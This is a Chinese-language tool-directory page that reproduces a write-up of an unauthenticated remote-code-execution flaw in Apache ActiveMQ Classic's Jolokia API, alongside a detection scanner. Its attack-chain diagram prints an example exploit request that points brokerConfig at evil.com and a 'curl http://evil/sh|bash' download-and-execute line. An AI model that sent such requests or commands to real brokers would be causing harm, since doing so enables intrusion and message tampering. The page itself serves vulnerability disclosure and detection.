Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34197 — 检测 Apache ActiveMQ Classic 远程代码执行漏洞(CVE-2026-34197),通过 Jolokia API 结合 Python 与 Nmap NSE 脚本,检查未授权访问及版本漏洞。 | Kitploit
工具/GitHubGitHub/keraattin/cve-2026-34197
漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用信息收集网络安全渗透测试
GitHubkeraattin/cve-2026-34197

CVE-2026-34197

检测 Apache ActiveMQ Classic 远程代码执行漏洞(CVE-2026-34197),通过 Jolokia API 结合 Python 与 Nmap NSE 脚本,检查未授权访问及版本漏洞。

查看仓库
2165个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34197 — Apache ActiveMQ Classic 通过 Jolokia API 实现远程代码执行

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

TL;DR

Apache ActiveMQ Classic 中存在一个远程代码执行漏洞,攻击者可通过 Jolokia API(/api/jolokia/)调用 addNetworkConnector(String) MBean 操作来执行任意代码。攻击者嵌入一个指向远程 Spring XML 文件的恶意 brokerConfig 参数,ActiveMQ 会获取并解析该文件,从而实例化任意 Java 对象并实现代码执行。

在 ActiveMQ 6.0.0 至 6.1.1 版本中,Jolokia 端点完全无需身份验证,因此这是一个零点击的未认证 RCE 漏洞。

该漏洞在代码库中隐藏了 13 年,最终在 AI 辅助下被发现。


目录

  • 快速概览
  • 什么是 Apache ActiveMQ?
  • 漏洞深度剖析
    • 架构解析:Jolokia 与 JMX
    • 攻击链
    • 认证缺口
  • 影响分析
  • 受影响版本
  • 检测方法
    • Python 扫描器
    • Nmap NSE 脚本
    • 手动验证
  • 入侵指标
  • 修复建议
  • 参考资料
  • 作者

快速概览

字段详情
CVE IDCVE-2026-34197
厂商Apache 软件基金会
产品Apache ActiveMQ Classic
受影响版本5.19.4 之前及 6.2.3 之前的所有版本
未认证 RCE6.0.0 至 6.1.1 版本(Jolokia 无认证)
CVSS v3.18.8(高危)
CWECWE-94 — 代码生成控制不当
攻击向量网络
认证要求5.x 需要认证;6.0.0 至 6.1.1 无需认证
用户交互无
利用成熟度已有公开 PoC
修复版本ActiveMQ Classic 5.19.4、6.2.3
漏洞存在时间代码库中约 13 年
发现方式AI 辅助漏洞研究

什么是 Apache ActiveMQ?

Apache ActiveMQ Classic 是 Java 生态系统中部署最广泛的开源消息代理之一。它实现了 Java 消息服务(JMS)规范,是全球数千个企业环境中异步通信的骨干。

ActiveMQ 处理从订单处理队列、金融交易管道到 IoT 遥测流和微服务事件总线等各类场景。如果您的组织使用基于 Java 的微服务、事件驱动架构或任何形式的异步消息传递,那么 ActiveMQ 很可能就在您的技术栈中。``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here

当攻击者攻陷 ActiveMQ 后,他们获得的不仅仅是一台服务器上的 shell。他们位于组织中**每条消息流的中心**,能够读取、修改、重定向或在关键系统之间注入消息。

---

## 漏洞深入剖析

### 架构:Jolokia 与 JMX

**JMX**(Java 管理扩展)是 Java 应用程序的标准管理接口。它暴露“MBean”(托管 Bean),允许对应用程序内部进行监控和控制。ActiveMQ 暴露用于管理代理、队列、主题、连接等的 MBean。

**Jolokia** 是一个基于 HTTP 的 JMX 桥接器。它将 JMX 操作转换为 RESTful JSON API,使得可以通过 HTTP 请求管理 Java 应用程序,而无需专用的 JMX 客户端。

ActiveMQ Classic 内置了 Jolokia,可通过 Web 控制台端口(默认:8161)上的 `/api/jolokia/` 访问。```
  Traditional JMX Access:
  ┌──────────┐                                 ┌──────────────┐
  │ JConsole │ ────── JMX Protocol ─────────>  │  ActiveMQ    │
  │          │    (requires JMX client)        │  MBeans      │
  └──────────┘                                 └──────────────┘

  Jolokia HTTP Access:
  ┌──────────┐                                ┌──────────────┐
  │  curl /  │ ── POST /api/jolokia/ ───────> │  ActiveMQ    │
  │ browser  │    (just needs HTTP)           │  MBeans      │
  └──────────┘                                └──────────────┘
                       ⬆️
           Anyone with HTTP access can
           invoke MBean operations

这就是问题开始的地方。Jolokia 通过一个简单的 HTTP API 暴露了 JMX 管理的全部能力。而代理上可用的 MBean 操作之一就是 addNetworkConnector(String)。

攻击链

addNetworkConnector(String) 操作被设计用于在 ActiveMQ 代理实例之间创建网络桥接。它接受一个 URI 字符串,描述如何连接到另一个代理。

ActiveMQ 支持 vm:// URI 方案,用于进程内代理连接。这些 URI 支持一个 brokerConfig 参数,该参数指向一个 Spring XML 配置文件。而 Spring XML 可以实例化任意 Java 对象。

以下是完整的攻击链:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘

ActiveMQ 正在执行它被设计用来做的事情:加载代理配置。问题在于配置源由攻击者控制,而 Spring XML 实际上是一种代码执行格式。

### 认证缺口

这正是将漏洞从严重提升为危急的关键:

| ActiveMQ 版本 | Jolokia 认证状态 | 影响 |
|:---:|:---:|:---:|
| 5.x(< 5.19.4) | 需认证(默认:admin:admin) | 认证后 RCE,通常可轻易绕过 |
| 6.0.0 至 6.1.1 | **完全无需认证** | **未认证 RCE** |
| 6.1.2 至 6.2.2 | 需认证 | 认证后 RCE |
| 5.19.4+ / 6.2.3+ | 已修复 | 不受影响 |

在 ActiveMQ 6.0.0 至 6.1.1 版本上,Jolokia 端点**完全不需要认证**。任何能够访问 8161 端口的人都可以获得未认证的远程代码执行权限。

即使在需要认证的 Jolokia 版本上,默认凭据 `admin:admin` 也广为人知,并且在开发、预发布和生产环境中经常被保留不变。

---

## 影响分析

**对代理主机的直接影响:**
- 以 ActiveMQ 进程的权限实现完全远程代码执行
- 访问所有消息队列、主题和已存储消息
- 能够读取/修改/注入传输中的消息
- 访问配置文件、密钥库和已存储的凭据

**下游影响(通过消息篡改):**
- 向处理队列注入恶意消息
- 修改传输中的金融交易、订单或命令
- 拦截流经代理的敏感数据
- 中断所有依赖消息的服务

**企业风险放大:**
- ActiveMQ 位于所有使用它的应用程序的交汇点
- 单个被攻破的代理可能影响数十个连接的服务
- 消息代理通常位于具有广泛访问权限的可信网络区域
- 从代理的网络位置进行横向移动非常容易```
  What an attacker can do after exploitation:

  ┌─────────────────────────────────────────────────────────┐
  │               Compromised ActiveMQ Broker               │
  └────┬───────────┬───────────┬───────────┬──────────┬─────┘
       │           │           │           │          │
       ▼           ▼           ▼           ▼          ▼
  Read/modify   Inject       Pivot to     Intercept    Deploy
  messages      malicious    connected    creds in     persistent
  in transit    messages     systems      messages     backdoor

受影响版本

下载工具